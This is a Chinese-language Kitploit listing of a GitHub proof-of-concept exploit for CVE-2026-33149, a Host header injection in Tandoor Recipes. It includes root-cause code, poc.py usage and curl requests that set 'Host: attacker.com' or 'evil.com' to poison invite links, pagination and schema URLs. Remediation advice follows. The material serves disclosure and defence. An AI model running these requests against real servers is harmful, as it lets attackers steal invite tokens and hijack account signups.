Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33149-PoC — CVE-2026-33149 的概念验证漏洞利用程序,针对 Tandoor Recipes 中的 Host 头注入漏洞,可实现邀请链接投毒和缓存投毒。包含主机接受、分页、模式及邀请投毒等模块。 | Kitploit
工具/GitHubGitHub/filipegaudard/cve-2026-33149-poc
漏洞分析漏洞利用Web应用程序漏洞利用钓鱼攻击Web安全渗透测试
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

CVE-2026-33149 的概念验证漏洞利用程序,针对 Tandoor Recipes 中的 Host 头注入漏洞,可实现邀请链接投毒和缓存投毒。包含主机接受、分页、模式及邀请投毒等模块。

查看仓库
95个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33149 — Tandoor Recipes 中的 Host 头注入漏洞

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


概述

Tandoor Recipes 在 settings.py 中默认将 ALLOWED_HOSTS 设置为 '*',导致 Django 在未经验证的情况下接受 HTTP Host 头中的任意值。该应用在多个安全敏感场景中使用 request.build_absolute_uri() 生成绝对 URL。攻击者若能发送带有精心构造的 Host 头的请求,即可将所有服务器生成的 URL 重定向到攻击者控制的域名。

最严重的影响是邀请链接投毒:当管理员创建用户邀请时,服务器发送的邮件中包含指向攻击者域名的链接。受害者点击看似合法的邮件后,邀请令牌被窃取,攻击者利用该令牌劫持账户开通流程。

漏洞详情

MITRE ATT&CK 映射

技术 ID名称相关性
T1557中间人攻击操纵服务器生成的 URL 以重定向流量
T1566.002钓鱼:鱼叉式钓鱼链接被投毒的邀请邮件包含攻击者控制的链接

根因分析

1. 通配符 ALLOWED_HOSTS

文件: recipes/settings.py:118

root@kitploit:~
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

Django 的 ALLOWED_HOSTS 是一项安全措施,用于根据白名单验证 Host 头。通配符 '*' 完全禁用了此验证,允许任意值。

2. 邀请邮件中的不安全 URL 生成

文件: cookbook/serializer.py:1852-1853

root@kitploit:~
message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() 使用 request.get_host() 构造 URL,当 ALLOWED_HOSTS 未限制时,该方法返回原始的 Host 头值。邀请 UUID(一个秘密令牌)被嵌入到指向攻击者的 URL 中。

3. 其他受影响面

  • API 分页 — DRF 分页类使用 build_absolute_uri() 生成 next/previous URL
  • OpenAPI 模式 — 模式生成器使用它生成服务器 URL
  • 缓存投毒 — 使用缓存代理的部署环境中,单个请求即可向所有用户提供被投毒的缓存内容

攻击流程

root@kitploit:~
┌──────────┐     ① 构造请求         ┌─────────────────┐
│ 攻击者   │ ──────────────────────────────→│  Tandoor 服务器 │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             使用 "attacker.com"
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  SMTP 服务器   │
                                            └────────┬───────┘
                                                     │
                                       ③ 包含投毒链接的邮件:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    受害者      │
                                            │  (点击链接)  │
                                            └────────┬───────┘
                                                     │
                                          ④ UUID 发送给攻击者
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    攻击者      │
                                            │ 在真实服务器上 │
                                            │ 使用 UUID      │
                                            └────────────────┘

概念验证

环境要求

  • Python 3.8+
  • requests 库
root@kitploit:~
pip install requests

使用方法

root@kitploit:~
# 使用基本认证运行所有验证模块
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# 使用会话 Cookie 运行所有模块
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# 仅进行邀请链接投毒
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

模块

手动验证(curl)

1. Host 头接受性

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# 预期:200(存在漏洞)| 400(已修复)

2. 分页 URL 反射

root@kitploit:~
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# 预期:{"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. 模式 URL 反射

root@kitploit:~
curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# 预期:http://evil.com/...

4. 邀请链接投毒

root@kitploit:~
curl -s http://TARGET:8085/api/invite-link/ \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "X-CSRFToken: CSRF" \
  -H "Host: attacker.com" \
  -d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# 受害者收到邮件:"Click: http://attacker.com/invite/<uuid>"

影响


修复方案

立即修复

将 ALLOWED_HOSTS 显式设置为您的有效主机名列表:

root@kitploit:~
# docker-compose.yml 或 .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost

纵深防御

  1. 反向代理验证 — 配置 Nginx/Apache 在请求到达 Django 之前拒绝带有意外 Host 头的请求
  2. USE_X_FORWARDED_HOST = False — 确保 Django 不信任来自不可信来源的 X-Forwarded-Host(默认值为 False)
  3. SMTP 链接加固 — 使用显式的 SITE_URL 配置生成邮件链接,而不是依赖 request.build_absolute_uri()

参考资料

  • GHSA-x636-4jx6-xc4w
  • CVE-2026-33149
  • CWE-644:HTTP 头中和不当
  • Django ALLOWED_HOSTS 文档
  • MITRE ATT&CK T1557 — 中间人攻击
  • MITRE ATT&CK T1566.002 — 钓鱼:鱼叉式钓鱼链接

免责声明

本概念验证仅供授权安全测试和教育目的使用。未经授权访问计算机系统属于违法行为。作者不对本工具的滥用承担任何责任。


作者

Filipe Gaudard — 进攻性安全研究员 | eWPT | eWPTx

  • GitHub:@FilipeGaudard
  • LinkedIn:Filipe Gaudard
下载工具
字段值
CVE IDCVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — 对脚本语法的 HTTP 头中和不当
CVSS v3.18.1 高危 — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
受影响版本Tandoor Recipes ≤ 2.5.3
厂商TandoorRecipes/recipes
模块描述
host-accept验证目标是否接受任意 Host 头(ALLOWED_HOSTS = '*')
pagination确认 API 分页 URL 反映注入的域名
schema确认 OpenAPI 模式服务器 URL 反映注入的域名
invite创建投毒的邀请链接 — 主要攻击向量
all按顺序运行所有模块
影响领域描述严重程度
邀请令牌劫持攻击者通过投毒的邮件链接捕获邀请 UUID,劫持账户开通流程严重
凭据钓鱼受害者访问攻击者控制的域名,误以为是合法的注册页面高
缓存投毒在使用缓存代理的部署环境中,单个被投毒的响应会污染所有用户的缓存高
API 客户端误导分页和模式 URL 将 API 消费者重定向到攻击者基础设施中